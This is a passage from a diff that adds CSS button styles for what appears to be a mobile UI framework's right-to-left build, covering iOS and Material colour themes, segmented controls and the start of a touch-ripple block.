border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .button.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active, +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active { + background: #4cd964; +} +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .color-theme-green .button.button-small.button-fill.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill.active-state, +.ios .color-theme-green .button.button-small.button-fill-ios.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .color-theme-blue .button { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active, +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active { + background: #007aff; +} +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .color-theme-blue .button.button-small.button-fill.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill.active-state, +.ios .color-theme-blue .button.button-small.button-fill-ios.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .color-theme-pink .button { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .button.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active, +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active { + background: #ff2d55; +} +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .color-theme-pink .button.button-small.button-fill.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill.active-state, +.ios .color-theme-pink .button.button-small.button-fill-ios.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .color-theme-yellow .button { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .button.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active, +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active { + background: #ffcc00; +} +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .color-theme-yellow .button.button-small.button-fill.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state, +.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .color-theme-orange .button { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .button.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active, +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active { + background: #ff9500; +} +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .color-theme-orange .button.button-small.button-fill.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill.active-state, +.ios .color-theme-orange .button.button-small.button-fill-ios.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .color-theme-gray .button { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .button.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active, +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active { + background: #8e8e93; +} +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .color-theme-gray .button.button-small.button-fill.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill.active-state, +.ios .color-theme-gray .button.button-small.button-fill-ios.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .color-theme-white .button { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .button.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active, +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active { + background: #ffffff; +} +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .color-theme-white .button.button-small.button-fill.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill.active-state, +.ios .color-theme-white .button.button-small.button-fill-ios.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .color-theme-black .button { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .button.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active, +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active { + background: #000000; +} +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .color-theme-black .button.button-small.button-fill.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill.active-state, +.ios .color-theme-black .button.button-small.button-fill-ios.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.ios .button.color-red { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .button.color-red.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active, +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + color: #fff; +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active { + background: #ff3b30; +} +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .button.color-red.button-small.button-fill.active-state, +.ios .button.color-red.button-small-ios.button-fill.active-state, +.ios .button.color-red.button-small.button-fill-ios.active-state, +.ios .button.color-red.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .button.color-green { + border-color: #4cd964; + color: #4cd964; +} +.ios .button.color-green.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active, +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + color: #fff; +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active { + background: #4cd964; +} +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .button.color-green.button-small.button-fill.active-state, +.ios .button.color-green.button-small-ios.button-fill.active-state, +.ios .button.color-green.button-small.button-fill-ios.active-state, +.ios .button.color-green.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .button.color-blue { + border-color: #007aff; + color: #007aff; +} +.ios .button.color-blue.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active, +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + color: #fff; +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active { + background: #007aff; +} +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .button.color-blue.button-small.button-fill.active-state, +.ios .button.color-blue.button-small-ios.button-fill.active-state, +.ios .button.color-blue.button-small.button-fill-ios.active-state, +.ios .button.color-blue.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .button.color-pink { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .button.color-pink.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active, +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + color: #fff; +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active { + background: #ff2d55; +} +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .button.color-pink.button-small.button-fill.active-state, +.ios .button.color-pink.button-small-ios.button-fill.active-state, +.ios .button.color-pink.button-small.button-fill-ios.active-state, +.ios .button.color-pink.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .button.color-yellow { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .button.color-yellow.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active, +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + color: #fff; +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active { + background: #ffcc00; +} +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .button.color-yellow.button-small.button-fill.active-state, +.ios .button.color-yellow.button-small-ios.button-fill.active-state, +.ios .button.color-yellow.button-small.button-fill-ios.active-state, +.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .button.color-orange { + border-color: #ff9500; + color: #ff9500; +} +.ios .button.color-orange.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active, +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + color: #fff; +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active { + background: #ff9500; +} +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .button.color-orange.button-small.button-fill.active-state, +.ios .button.color-orange.button-small-ios.button-fill.active-state, +.ios .button.color-orange.button-small.button-fill-ios.active-state, +.ios .button.color-orange.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .button.color-gray { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .button.color-gray.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active, +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + color: #fff; +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active { + background: #8e8e93; +} +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .button.color-gray.button-small.button-fill.active-state, +.ios .button.color-gray.button-small-ios.button-fill.active-state, +.ios .button.color-gray.button-small.button-fill-ios.active-state, +.ios .button.color-gray.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .button.color-white { + border-color: #ffffff; + color: #ffffff; +} +.ios .button.color-white.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active, +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + color: #fff; +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active { + background: #ffffff; +} +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .button.color-white.button-small.button-fill.active-state, +.ios .button.color-white.button-small-ios.button-fill.active-state, +.ios .button.color-white.button-small.button-fill-ios.active-state, +.ios .button.color-white.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .button.color-black { + border-color: #000000; + color: #000000; +} +.ios .button.color-black.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active, +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + color: #fff; +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active { + background: #000000; +} +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .button.color-black.button-small.button-fill.active-state, +.ios .button.color-black.button-small-ios.button-fill.active-state, +.ios .button.color-black.button-small.button-fill-ios.active-state, +.ios .button.color-black.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.md .button { + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .button.button-fill, +.md .button.button-fill-md, +.md .button.button-active, +.md .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.button-fill.active-state, +.md .button.button-fill-md.active-state, +.md .button.button-active.active-state, +.md .button.tab-link-active.active-state { + background: #0c82df; +} +.md .button.button-big, +.md .button.button-big-md { + height: 48px; + line-height: 48px; + border-radius: 4px; +} +.md .button.button-round, +.md .button.button-round-md { + border-radius: 36px; +} +.md .button.button-outline { + border: 2px solid #2196f3; + line-height: 32px; +} +.md .button.button-outline.button-big, +.md .button.button-outline.button-big-md { + line-height: 44px; +} +.md .button.button-small, +.md .button.button-small-md { + height: 28px; + line-height: 28px; + font-size: 13px; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.button-small.button-outline, +.md .button.button-small-md.button-outline { + border-width: 2px; + line-height: 24px; +} +.md .button > i.icon + span, +.md .button > span:not(.ripple-wave) + span, +.md .button > span:not(.ripple-wave) + i.icon, +.md .button > i.icon + i.icon { + margin-right: 8px; +} +.md .button.button-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .button.button-raised.active-state { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .navbar .button:not(.button-fill):not(.button-fill-md), +.md .subnavbar .button:not(.button-fill):not(.button-fill-md), +.md .toolbar .button:not(.button-fill):not(.button-fill-md) { + color: #fff; +} +.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .toast .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .segmented { + border-radius: 4px; +} +.md .segmented.segmented-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .segmented.segmented-round { + border-radius: 36px; +} +.md .segmented .button { + border-radius: 0; + min-width: 0; + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .segmented .button:first-child { + border-radius: 0 4px 4px 0; + border-right: none; +} +.md .segmented .button.button-outline { + border: 2px solid #2196f3; +} +.md .segmented .button.button-outline:nth-child(n + 2) { + border-right: none; +} +.md .segmented .button:last-child { + border-radius: 4px 0 0 4px; +} +.md .segmented .button:first-child:last-child { + border-radius: 4px; +} +.md .segmented .button.button-round:first-child { + border-radius: 0 36px 36px 0; +} +.md .segmented .button.button-round:last-child { + border-radius: 36px 0 0 36px; +} +.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state { + background-color: rgba(255, 255, 255, 0.1); +} +.md .color-theme-red .button, +.md .color-red .button { + color: #f44336; +} +.md .color-theme-red .button.button-fill, +.md .color-red .button.button-fill, +.md .color-theme-red .button.button-fill-md, +.md .color-red .button.button-fill-md, +.md .color-theme-red .button.button-active, +.md .color-red .button.button-active, +.md .color-theme-red .button.tab-link-active, +.md .color-red .button.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .button.button-fill.active-state, +.md .color-red .button.button-fill.active-state, +.md .color-theme-red .button.button-fill-md.active-state, +.md .color-red .button.button-fill-md.active-state, +.md .color-theme-red .button.button-active.active-state, +.md .color-red .button.button-active.active-state, +.md .color-theme-red .button.tab-link-active.active-state, +.md .color-red .button.tab-link-active.active-state { + background: #f21f0f; +} +.md .color-theme-red .button.button-outline, +.md .color-red .button.button-outline { + border-color: #f44336; +} +.md .color-theme-green .button, +.md .color-green .button { + color: #4caf50; +} +.md .color-theme-green .button.button-fill, +.md .color-green .button.button-fill, +.md .color-theme-green .button.button-fill-md, +.md .color-green .button.button-fill-md, +.md .color-theme-green .button.button-active, +.md .color-green .button.button-active, +.md .color-theme-green .button.tab-link-active, +.md .color-green .button.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .button.button-fill.active-state, +.md .color-green .button.button-fill.active-state, +.md .color-theme-green .button.button-fill-md.active-state, +.md .color-green .button.button-fill-md.active-state, +.md .color-theme-green .button.button-active.active-state, +.md .color-green .button.button-active.active-state, +.md .color-theme-green .button.tab-link-active.active-state, +.md .color-green .button.tab-link-active.active-state { + background: #409343; +} +.md .color-theme-green .button.button-outline, +.md .color-green .button.button-outline { + border-color: #4caf50; +} +.md .color-theme-blue .button, +.md .color-blue .button { + color: #2196f3; +} +.md .color-theme-blue .button.button-fill, +.md .color-blue .button.button-fill, +.md .color-theme-blue .button.button-fill-md, +.md .color-blue .button.button-fill-md, +.md .color-theme-blue .button.button-active, +.md .color-blue .button.button-active, +.md .color-theme-blue .button.tab-link-active, +.md .color-blue .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .button.button-fill.active-state, +.md .color-blue .button.button-fill.active-state, +.md .color-theme-blue .button.button-fill-md.active-state, +.md .color-blue .button.button-fill-md.active-state, +.md .color-theme-blue .button.button-active.active-state, +.md .color-blue .button.button-active.active-state, +.md .color-theme-blue .button.tab-link-active.active-state, +.md .color-blue .button.tab-link-active.active-state { + background: #0c82df; +} +.md .color-theme-blue .button.button-outline, +.md .color-blue .button.button-outline { + border-color: #2196f3; +} +.md .color-theme-pink .button, +.md .color-pink .button { + color: #e91e63; +} +.md .color-theme-pink .button.button-fill, +.md .color-pink .button.button-fill, +.md .color-theme-pink .button.button-fill-md, +.md .color-pink .button.button-fill-md, +.md .color-theme-pink .button.button-active, +.md .color-pink .button.button-active, +.md .color-theme-pink .button.tab-link-active, +.md .color-pink .button.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .button.button-fill.active-state, +.md .color-pink .button.button-fill.active-state, +.md .color-theme-pink .button.button-fill-md.active-state, +.md .color-pink .button.button-fill-md.active-state, +.md .color-theme-pink .button.button-active.active-state, +.md .color-pink .button.button-active.active-state, +.md .color-theme-pink .button.tab-link-active.active-state, +.md .color-pink .button.tab-link-active.active-state { + background: #ca1452; +} +.md .color-theme-pink .button.button-outline, +.md .color-pink .button.button-outline { + border-color: #e91e63; +} +.md .color-theme-yellow .button, +.md .color-yellow .button { + color: #ffeb3b; +} +.md .color-theme-yellow .button.button-fill, +.md .color-yellow .button.button-fill, +.md .color-theme-yellow .button.button-fill-md, +.md .color-yellow .button.button-fill-md, +.md .color-theme-yellow .button.button-active, +.md .color-yellow .button.button-active, +.md .color-theme-yellow .button.tab-link-active, +.md .color-yellow .button.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .button.button-fill.active-state, +.md .color-yellow .button.button-fill.active-state, +.md .color-theme-yellow .button.button-fill-md.active-state, +.md .color-yellow .button.button-fill-md.active-state, +.md .color-theme-yellow .button.button-active.active-state, +.md .color-yellow .button.button-active.active-state, +.md .color-theme-yellow .button.tab-link-active.active-state, +.md .color-yellow .button.tab-link-active.active-state { + background: #ffe712; +} +.md .color-theme-yellow .button.button-outline, +.md .color-yellow .button.button-outline { + border-color: #ffeb3b; +} +.md .color-theme-orange .button, +.md .color-orange .button { + color: #ff9800; +} +.md .color-theme-orange .button.button-fill, +.md .color-orange .button.button-fill, +.md .color-theme-orange .button.button-fill-md, +.md .color-orange .button.button-fill-md, +.md .color-theme-orange .button.button-active, +.md .color-orange .button.button-active, +.md .color-theme-orange .button.tab-link-active, +.md .color-orange .button.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .button.button-fill.active-state, +.md .color-orange .button.button-fill.active-state, +.md .color-theme-orange .button.button-fill-md.active-state, +.md .color-orange .button.button-fill-md.active-state, +.md .color-theme-orange .button.button-active.active-state, +.md .color-orange .button.button-active.active-state, +.md .color-theme-orange .button.tab-link-active.active-state, +.md .color-orange .button.tab-link-active.active-state { + background: #d68000; +} +.md .color-theme-orange .button.button-outline, +.md .color-orange .button.button-outline { + border-color: #ff9800; +} +.md .color-theme-gray .button, +.md .color-gray .button { + color: #9e9e9e; +} +.md .color-theme-gray .button.button-fill, +.md .color-gray .button.button-fill, +.md .color-theme-gray .button.button-fill-md, +.md .color-gray .button.button-fill-md, +.md .color-theme-gray .button.button-active, +.md .color-gray .button.button-active, +.md .color-theme-gray .button.tab-link-active, +.md .color-gray .button.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .button.button-fill.active-state, +.md .color-gray .button.button-fill.active-state, +.md .color-theme-gray .button.button-fill-md.active-state, +.md .color-gray .button.button-fill-md.active-state, +.md .color-theme-gray .button.button-active.active-state, +.md .color-gray .button.button-active.active-state, +.md .color-theme-gray .button.tab-link-active.active-state, +.md .color-gray .button.tab-link-active.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .button.button-outline, +.md .color-gray .button.button-outline { + border-color: #9e9e9e; +} +.md .color-theme-white .button, +.md .color-white .button { + color: #ffffff; +} +.md .color-theme-white .button.button-fill, +.md .color-white .button.button-fill, +.md .color-theme-white .button.button-fill-md, +.md .color-white .button.button-fill-md, +.md .color-theme-white .button.button-active, +.md .color-white .button.button-active, +.md .color-theme-white .button.tab-link-active, +.md .color-white .button.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .button.button-fill.active-state, +.md .color-white .button.button-fill.active-state, +.md .color-theme-white .button.button-fill-md.active-state, +.md .color-white .button.button-fill-md.active-state, +.md .color-theme-white .button.button-active.active-state, +.md .color-white .button.button-active.active-state, +.md .color-theme-white .button.tab-link-active.active-state, +.md .color-white .button.tab-link-active.active-state { + background: #ebebeb; +} +.md .color-theme-white .button.button-outline, +.md .color-white .button.button-outline { + border-color: #ffffff; +} +.md .color-theme-black .button, +.md .color-black .button { + color: #000000; +} +.md .color-theme-black .button.button-fill, +.md .color-black .button.button-fill, +.md .color-theme-black .button.button-fill-md, +.md .color-black .button.button-fill-md, +.md .color-theme-black .button.button-active, +.md .color-black .button.button-active, +.md .color-theme-black .button.tab-link-active, +.md .color-black .button.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .button.button-fill.active-state, +.md .color-black .button.button-fill.active-state, +.md .color-theme-black .button.button-fill-md.active-state, +.md .color-black .button.button-fill-md.active-state, +.md .color-theme-black .button.button-active.active-state, +.md .color-black .button.button-active.active-state, +.md .color-theme-black .button.tab-link-active.active-state, +.md .color-black .button.tab-link-active.active-state { + background: #000000; +} +.md .color-theme-black .button.button-outline, +.md .color-black .button.button-outline { + border-color: #000000; +} +.md .button.color-red { + color: #f44336; +} +.md .button.color-red.button-fill, +.md .button.color-red.button-fill-md, +.md .button.color-red.button-active, +.md .button.color-red.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .button.color-red.button-fill.active-state, +.md .button.color-red.button-fill-md.active-state, +.md .button.color-red.button-active.active-state, +.md .button.color-red.tab-link-active.active-state { + background: #f21f0f; +} +.md .button.color-red.button-outline { + border-color: #f44336; +} +.md .button.color-green { + color: #4caf50; +} +.md .button.color-green.button-fill, +.md .button.color-green.button-fill-md, +.md .button.color-green.button-active, +.md .button.color-green.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .button.color-green.button-fill.active-state, +.md .button.color-green.button-fill-md.active-state, +.md .button.color-green.button-active.active-state, +.md .button.color-green.tab-link-active.active-state { + background: #409343; +} +.md .button.color-green.button-outline { + border-color: #4caf50; +} +.md .button.color-blue { + color: #2196f3; +} +.md .button.color-blue.button-fill, +.md .button.color-blue.button-fill-md, +.md .button.color-blue.button-active, +.md .button.color-blue.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.color-blue.button-fill.active-state, +.md .button.color-blue.button-fill-md.active-state, +.md .button.color-blue.button-active.active-state, +.md .button.color-blue.tab-link-active.active-state { + background: #0c82df; +} +.md .button.color-blue.button-outline { + border-color: #2196f3; +} +.md .button.color-pink { + color: #e91e63; +} +.md .button.color-pink.button-fill, +.md .button.color-pink.button-fill-md, +.md .button.color-pink.button-active, +.md .button.color-pink.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .button.color-pink.button-fill.active-state, +.md .button.color-pink.button-fill-md.active-state, +.md .button.color-pink.button-active.active-state, +.md .button.color-pink.tab-link-active.active-state { + background: #ca1452; +} +.md .button.color-pink.button-outline { + border-color: #e91e63; +} +.md .button.color-yellow { + color: #ffeb3b; +} +.md .button.color-yellow.button-fill, +.md .button.color-yellow.button-fill-md, +.md .button.color-yellow.button-active, +.md .button.color-yellow.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .button.color-yellow.button-fill.active-state, +.md .button.color-yellow.button-fill-md.active-state, +.md .button.color-yellow.button-active.active-state, +.md .button.color-yellow.tab-link-active.active-state { + background: #ffe712; +} +.md .button.color-yellow.button-outline { + border-color: #ffeb3b; +} +.md .button.color-orange { + color: #ff9800; +} +.md .button.color-orange.button-fill, +.md .button.color-orange.button-fill-md, +.md .button.color-orange.button-active, +.md .button.color-orange.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .button.color-orange.button-fill.active-state, +.md .button.color-orange.button-fill-md.active-state, +.md .button.color-orange.button-active.active-state, +.md .button.color-orange.tab-link-active.active-state { + background: #d68000; +} +.md .button.color-orange.button-outline { + border-color: #ff9800; +} +.md .button.color-gray { + color: #9e9e9e; +} +.md .button.color-gray.button-fill, +.md .button.color-gray.button-fill-md, +.md .button.color-gray.button-active, +.md .button.color-gray.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .button.color-gray.button-fill.active-state, +.md .button.color-gray.button-fill-md.active-state, +.md .button.color-gray.button-active.active-state, +.md .button.color-gray.tab-link-active.active-state { + background: #8a8a8a; +} +.md .button.color-gray.button-outline { + border-color: #9e9e9e; +} +.md .button.color-white { + color: #ffffff; +} +.md .button.color-white.button-fill, +.md .button.color-white.button-fill-md, +.md .button.color-white.button-active, +.md .button.color-white.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .button.color-white.button-fill.active-state, +.md .button.color-white.button-fill-md.active-state, +.md .button.color-white.button-active.active-state, +.md .button.color-white.tab-link-active.active-state { + background: #ebebeb; +} +.md .button.color-white.button-outline { + border-color: #ffffff; +} +.md .button.color-black { + color: #000000; +} +.md .button.color-black.button-fill, +.md .button.color-black.button-fill-md, +.md .button.color-black.button-active, +.md .button.color-black.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .button.color-black.button-fill.active-state, +.md .button.color-black.button-fill-md.active-state, +.md .button.color-black.button-active.active-state, +.md .button.color-black.tab-link-active.active-state { + background: #000000; +} +.md .button.color-black.button-outline { + border-color: #000000; +} +/* === Touch Ripple === */ +.md .ripple, +.md .fab a, +.md a.link, +.md a.item-link, +.md .button, +.md .dialog-button, +.md .tab-link, +.md .radio, +.md .checkbox, +.md .actions-button, +.md .speed-dial-buttons a { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; 